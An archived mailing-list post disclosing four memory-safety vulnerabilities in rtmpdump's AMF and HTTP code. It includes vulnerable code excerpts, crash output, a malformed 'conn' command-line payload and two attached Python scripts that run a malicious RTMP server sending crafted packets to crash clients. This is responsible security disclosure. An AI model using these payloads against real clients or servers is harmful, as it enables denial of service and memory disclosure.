From zqtang.chn at gmail.com Tue Sep 28 11:51:46 2021 From: zqtang.chn at gmail.com (zq tang) Date: Tue, 28 Sep 2021 16:51:46 +0800 Subject: [rtmpdump] Four vulnerabilities at rtmpdump project Message-ID: Hello, I've found 4 vulnerabilities while auditing the rtmpdump project(git://git.ffmpeg.org/rtmpdump). 1. Return value of the AMF3ReadString function in amf.c, causing out-of-bounds reading During the second handshake stage, the string (message) can be encoded as a value or reference. The first identification string is a value or reference. 0 means that the string is encoded as value, and the remaining 28 bits are used for encoding its length. 1 means that the string is encoded as a quotation, and the remaining 28 bits are used for coded quotation. The code to decode the amf3 string is as follows: int AMF3ReadString(const char *data, AVal *str) { int32_t ref = 0; int len; assert(str != 0); len = AMF3ReadInteger(data, &ref); data += len; if ((ref & 0x1) == 0) { /* reference: 0xxx */ uint32_t refIndex = (ref >> 1); RTMP_Log(RTMP_LOGDEBUG, "%s, string reference, index: %d, not supported, ignoring!", __FUNCTION__, refIndex); str->av_val = NULL; str->av_len = 0; return len; } else { uint32_t nSize = (ref >> 1); str->av_val = (char *)data; str->av_len = nSize; return len + nSize; } return len; } int AMF3_Decode(AMFObject *obj, const char *pBuffer, int nSize, int bAMFData) { ?? int len; ?? len = AMF3ReadString(pBuffer, &cd.cd_name); nSize -= len; pBuffer += len; ?? if (nSize <=0) { invalid: RTMP_Log(RTMP_LOGDEBUG, "%s, invalid class encoding!", __FUNCTION__); return nOriginalSize; } len = AMF3ReadString(pBuffer, &memberName); ?? } The return value of AMF3ReadString is assigned to a signed variable ?len?, which set len to a negative number[CWE-196], and nSize and pBuffer are added and subtracted without testing. nSize represents the number of unread bytes in the buffer. After pBuffer += len (big unsigned int) then using it causes address controllable, length-controllable out-of-bounds read. PoC (poc1.py) is in the attachment. $ python2 poc1.py $ rtmpdump -r rtmp://127.0.0.1/test/test -o /dev/null RTMPDump v2.4 (c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL Connecting ... INFO: Connected... Segmentation fault (core dumped) 2. Misuse of snprintf in the HTTP_Post function in rtmp.c causes heap information leakage The code is as follows? static int HTTP_Post(RTMP *r, RTMPTCmd cmd, const char *buf, int len) { char hbuf[512]; int hlen = snprintf(hbuf, sizeof(hbuf), "POST /%s%s/%d HTTP/1.1\r\n" "Host: %.*s:%d\r\n" "Accept: */*\r\n" "User-Agent: Shockwave Flash\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Content-type: application/x-fcs\r\n" "Content-length: %d\r\n\r\n", RTMPT_cmds[cmd], r->m_clientID.av_val ? r->m_clientID.av_val : "", r->m_msgCounter, r->Link.hostname.av_len, r->Link.hostname.av_val, r->Link.port, len); RTMPSockBuf_Send(&r->m_sb, hbuf, hlen); hlen = RTMPSockBuf_Send(&r->m_sb, buf, len); r->m_msgCounter++; r->m_unackd++; return hlen; } The maximum length of hbuf is 512 bytes, and the maximum length of characters written by snprintf is 512 bytes (sizeof(hbuf)). When the length of the formatted string is greater than 512, the excess part will be truncated, and the return value hlen represents the length of the string to be copied instead of the actual length of the actual copy. RTMPSockBuf_Send(&r->m_sb, hbuf, hlen); regards hlen as the length of the actual copy, which sends more data from hbuf. 3. Negative memcpy length in AMF_EncodeString function in amf.c The code is as follows? char * AMF_EncodeString(char *output, char *outend, const AVal *bv){ if ((bv->av_len < 65536 && output + 1 + 2 + bv->av_len > outend) || output + 1 + 4 + bv->av_len > outend) return NULL; if (bv->av_len < 65536){ *output++ = AMF_STRING; output = AMF_EncodeInt16(output, outend, bv->av_len); } else{ *output++ = AMF_LONG_STRING; output = AMF_EncodeInt32(output, outend, bv->av_len); } memcpy(output, bv->av_val, bv->av_len); output += bv->av_len; return output; } The bv->av_len can be negative, and a malicious command can be constructed to make parseAMF() using a negative memcpy length, causing DoS. PoC: $ rtmpdump -i "rtmp://media3.scctv.net/live/scctv_800 conn=O:\05 conN=NS:\:0" -o /dev/null rtmp://media3.scctv.net/live/scctv_800 can be any valid online rtmp url. 4. 3-byte out-of-bounds read in the AMF3ReadString function in amf.c Here the code is extracted from the amf.c AMF3_Decode function. for (i = 0; i < cdnum; i++){ AVal memberName; if (nSize <=0){ invalid: RTMP_Log(RTMP_LOGDEBUG, "%s, invalid class encoding!", __FUNCTION__); return nOriginalSize; } len = AMF3ReadString(pBuffer, &memberName); RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val); AMF3CD_AddProp(&cd, &memberName); nSize -= len; pBuffer += len; } The patch for the CVE-2015-8270 vulnerability: if (nSize <= 0){?} prevents pBuffer from increasing out of bounds, but when nSize == 1, it bypasses the patch, and the subsequent AMF3ReadString can read up to 4 bytes afterwards, so it can read 3 bytes out of bounds. PoC (poc4.py) is in the attachment. $ python2 poc4.py $ rtmpdump -r rtmp://127.0.0.1/test/test -o /dev/null Best regards, Zhiquan Tang of Tencent Blade Team -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- #!/usr/bin/env python2 import socket import signal import sys HOST = '0.0.0.0' PORT = 1935 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) conn, addr = s.accept() def run_program(): print 'Connected by', addr data = conn.recv(2048) conn.send(data) print 'handshake 1 complete' data = conn.recv(2048) conn.send(data) print 'handshake 2 complete' data = conn.recv(2048) print 'sending exploit...' print "data sent:" # four data value is avaliable data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0a\xfd\xfb\xff\x0b\xc2\xfa\xf3\x11\xf6' # data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x7f\x07\x00\x0b\xfa\xe7\xff\x7f\x06\x11' # data='\x03\x00\x00\x00\x00\x00\x18\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\xff\xff\xe7\xff\xff\xff\xbf\x09\xff\xff' # data='\x03\x00\x00\x00\x00\x00\x17\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0a\x17\xce\xfa\xdf\x05\x2e\x2e\x29' conn.send(data) conn.close() if __name__ == '__main__': run_program() -------------- next part -------------- #!/usr/bin/env python2 import socket import signal import sys HOST = '0.0.0.0' PORT = 1935 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) conn, addr = s.accept() def run_program(): ? ? print 'Connected by', addr ? ? data = conn.recv(2048) ? ? conn.send(data) ? ? print 'handshake 1 complete' ? ? data = conn.recv(2048) ? ? conn.send(data) ? ? print 'handshake 2 complete' ? ? data = conn.recv(2048) ? ? print 'sending exploit...' ? ? print "data sent:" ? ? ? ? data='\x03\x00\x00\x00\x00\x00\x22\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x11\xF5\x2F\xF5\x00\x00\x00\x15\x2C\x2C\x00\x00\x00\x09\x6B\xF2\x51\xE5\x00\xCD ' ? ? conn.send(data) ? ? conn.close() if __name__ == '__main__': ? ? run_program()